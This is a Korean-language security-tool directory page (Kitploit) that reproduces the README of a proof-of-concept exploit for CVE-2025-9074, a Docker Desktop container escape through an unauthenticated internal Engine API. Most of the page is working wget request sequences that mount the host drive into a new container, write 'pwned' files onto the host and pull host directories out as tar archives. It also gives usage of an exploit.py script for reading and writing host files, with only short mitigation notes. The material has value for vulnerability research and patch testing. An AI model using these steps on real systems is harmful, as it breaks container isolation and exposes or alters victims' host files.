Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-9074 — CVE-2025-9074에 대한 PoC 익스플로잇으로, 인증되지 않은 내부 Docker Engine API를 통해 Windows 및 macOS에서 전체 Docker Desktop 컨테이너 이스케이프를 시연합니다. | Kitploit
도구/GitHubGitHub/pucagit/cve-2025-9074
Vulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & EducationContainer Escape
GitHubpucagit/cve-2025-9074

CVE-2025-9074

CVE-2025-9074에 대한 PoC 익스플로잇으로, 인증되지 않은 내부 Docker Engine API를 통해 Windows 및 macOS에서 전체 Docker Desktop 컨테이너 이스케이프를 시연합니다.

저장소 보기
143개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-9074 – Windows 및 macOS Docker Desktop에서의 완전한 Docker 탈출

📌 설명

Docker Desktop은 내부 Docker Engine API를 http://192.168.65.7:2375 에 노출하며, 인증 및 접근 제어 없이 실행 중인 모든 컨테이너가 접근할 수 있습니다.

엔진 자체가 호스트 파일시스템을 마운트할 수 있기 때문에, 컨테이너는 이 API를 호출하여 호스트 드라이브를 바인드 마운트하는 새 컨테이너를 생성하고, 그 컨테이너를 통해 호스트 파일을 임의로 읽고 쓸 수 있습니다 — 완전한 컨테이너-호스트 탈출입니다.

📝 참고 자료

  • CVE-2025-9074 기록
  • Docker Desktop 릴리스 노트 (4.44.3에서 수정됨)
  • Felix Boulet의 연구

🎯 영향을 받는 버전

  • Docker Desktop ≤ 4.44.3 (Windows 및 macOS)

⚙️ 작동 방식

  1. API에 접근. 실행 중인 컨테이너가 http://192.168.65.7:2375 의 Docker Engine API에 연결합니다. 자격 증명이 필요하지 않습니다.
  • 권한 있는 컨테이너 생성. Binds: ["/mnt/host:/host_root"] 를 포함한 POST /containers/create 를 보내 새 컨테이너에 호스트 드라이브를 마운트합니다. Docker VM 내부에서 호스트 파일시스템은 /mnt/host 에 노출됩니다 (예: Windows C: 드라이브는 /mnt/host/c).
  • 컨테이너 시작. POST /containers/{id}/start 가 바인드 마운트를 활성화하여 호스트에 완전히 접근할 수 있게 합니다.
  • 호스트 파일 쓰기. 새 컨테이너가 바인드 마운트에 쓰는 명령을 실행합니다 (예: echo pwned > /host_root/c/test/pwn.txt).
  • 호스트 파일 읽기. GET /containers/{id}/archive?path=... 는 모든 호스트 경로를 TAR 아카이브로 스트리밍합니다. 셸이 필요하지 않습니다.

  • 🧪 실습 환경

    요구 사항

    • Docker Desktop 4.44.3 이전 (Windows 또는 macOS)
    • 내부 API에 접근할 수 있는 공격자 컨테이너 (모든 컨테이너 가능)

    테스트 데이터 준비 (Windows)

    읽기 데모의 대상을 위해 C:\test\readme.txt 에 샘플 내용을 생성합니다.

    poc 1

    공격자 컨테이너 실행

    root@kitploit:~
    docker run -it --rm alpine /bin/sh
    

    아래의 모든 수동 단계는 이 컨테이너 내부에서 실행됩니다 (alpine에는 wget이 포함되어 있습니다). 명령을 간결하게 유지하기 위해 API용 셸 변수를 설정합니다:

    root@kitploit:~
    API=http://192.168.65.7:2375
    

    ✍️ 재현 — 호스트에 WRITE

    목표: 컨테이너 내부에서 호스트에 C:\test\pwn.txt 생성.

    root@kitploit:~
    # 1. 호스트 C: 드라이브를 마운트하고 파일을 쓰는 컨테이너를 생성합니다.
    wget -q -O create.json \
      --header='Content-Type: application/json' \
      --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
      $API/containers/create
    
    # 2. JSON 응답에서 새 컨테이너 ID를 추출합니다.
    cid=$(cut -d'"' -f4 create.json)
    
    # 3. 시작합니다. 명령이 실행되어 호스트에 파일을 씁니다.
    wget -q -O - --post-data='' $API/containers/$cid/start
    

    발생한 일:

    • Binds: /mnt/host:/host_root 가 호스트 드라이브를 새 컨테이너에 마운트합니다.
    • 컨테이너의 명령이 C:\test\pwn.txt (/host_root/c/test/pwn.txt)에 pwned를 씁니다.
    • 자격 증명이 전혀 필요하지 않았습니다.

    예상 결과: 호스트에 C:\test\pwn.txt 가 생성됩니다.

    poc 2


    📖 재현 — 호스트에서 READ

    목표: 컨테이너 내부에서 호스트의 C:\test\readme.txt 읽기.

    root@kitploit:~
    # 1. 호스트 드라이브를 마운트한 컨테이너를 생성 + 시작합니다 (잠시 유지).
    wget -q -O create.json \
      --header='Content-Type: application/json' \
      --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
      $API/containers/create
    cid=$(cut -d'"' -f4 create.json)
    wget -q -O - --post-data='' $API/containers/$cid/start
    
    # 2. 엔진에 호스트 디렉터리의 TAR 아카이브를 요청한 후 추출합니다.
    wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
    tar -xvf test.tar
    cat test/readme.txt
    

    발생한 일:

    • 동일한 바인드 마운트가 새 컨테이너에 호스트 드라이브를 읽기 전용으로 노출합니다.
    • GET /containers/{id}/archive?path=... 는 모든 호스트 경로를 TAR로 스트리밍합니다. 셸이 필요 없습니다.
    • 아카이브를 추출하면 호스트 파일 내용이 드러납니다.

    예상 결과: C:\test\readme.txt 의 내용이 출력됩니다.

    poc 3


    🤖 자동화된 익스플로잇 — exploit.py

    exploit.py 는 두 흐름을 자동화합니다. Python 표준 라이브러리만 사용하며, 호스트 마운트(Windows /mnt/host/c vs macOS/Linux /)를 자동 감지하고 기본 호스트 경로를 변환해 줍니다.

    내부 API(192.168.65.7:2375)는 컨테이너 내부에서만 접근 가능하므로, Python이 있는 컨테이너에서 스크립트를 실행하세요:

    root@kitploit:~
    # 호스트의 리포지토리 디렉터리에서 실행:
    docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
    

    Windows PowerShell에서는 -v "${PWD}:/x"를, cmd.exe에서는 -v "%cd%:/x"를 사용하세요.

    접근 확인

    root@kitploit:~
    python /x/exploit.py info
    

    API에 핑을 보내고 호스트 OS를 감지하며 최상위 호스트 마운트 항목을 나열합니다.

    호스트 파일 쓰기

    root@kitploit:~
    # Windows 호스트
    python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
    
    # macOS/Linux 호스트 (또는 stdin을 통해 내용 파이프)
    echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
    

    호스트 파일 읽기

    root@kitploit:~
    # stdout으로 출력
    python /x/exploit.py read 'C:\test\readme.txt'
    
    # 또는 ./loot 디렉터리로 (파일 또는 전체 디렉터리) 추출
    python /x/exploit.py read 'C:\test' --out ./loot
    

    유용한 플래그

    플래그용도
    --api URLAPI 엔드포인트 재정의 (기본값 http://192.168.65.7:2375)
    --image NAME익스플로잇 컨테이너 이미지 (기본값 alpine, 없으면 자동으로 풀)
    --vm-mount PATH자동 감지를 건너뛰고 VM 내 호스트 마운트를 강제 지정 (예: /mnt/host 또는 /)

    🛡️ 완화 방법

    • Windows 및 macOS에서 Docker Desktop을 ≥ 4.44.3으로 업그레이드하세요.
    • 신뢰할 수 없는 이미지를 실행하지 마십시오. 패치되지 않은 API는 모든 컨테이너에서 접근 가능합니다.

    ⚠️ 고지 사항

    이 PoC는 공인된 테스트, 교육 및 연구 목적으로만 사용됩니다. 저자는 오용에 대한 책임을 지지 않습니다. 소유하거나 테스트가 허가된 시스템에서만 실행하세요.


    🙏 출처 표시

    이 PoC와 README는 Felix Boulet 의 연구에서 파생되었습니다. 원래 발견 및 분석에 대한 모든 공로는 원저자에게 있습니다.


    📜 라이선스

    이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

    도구 다운로드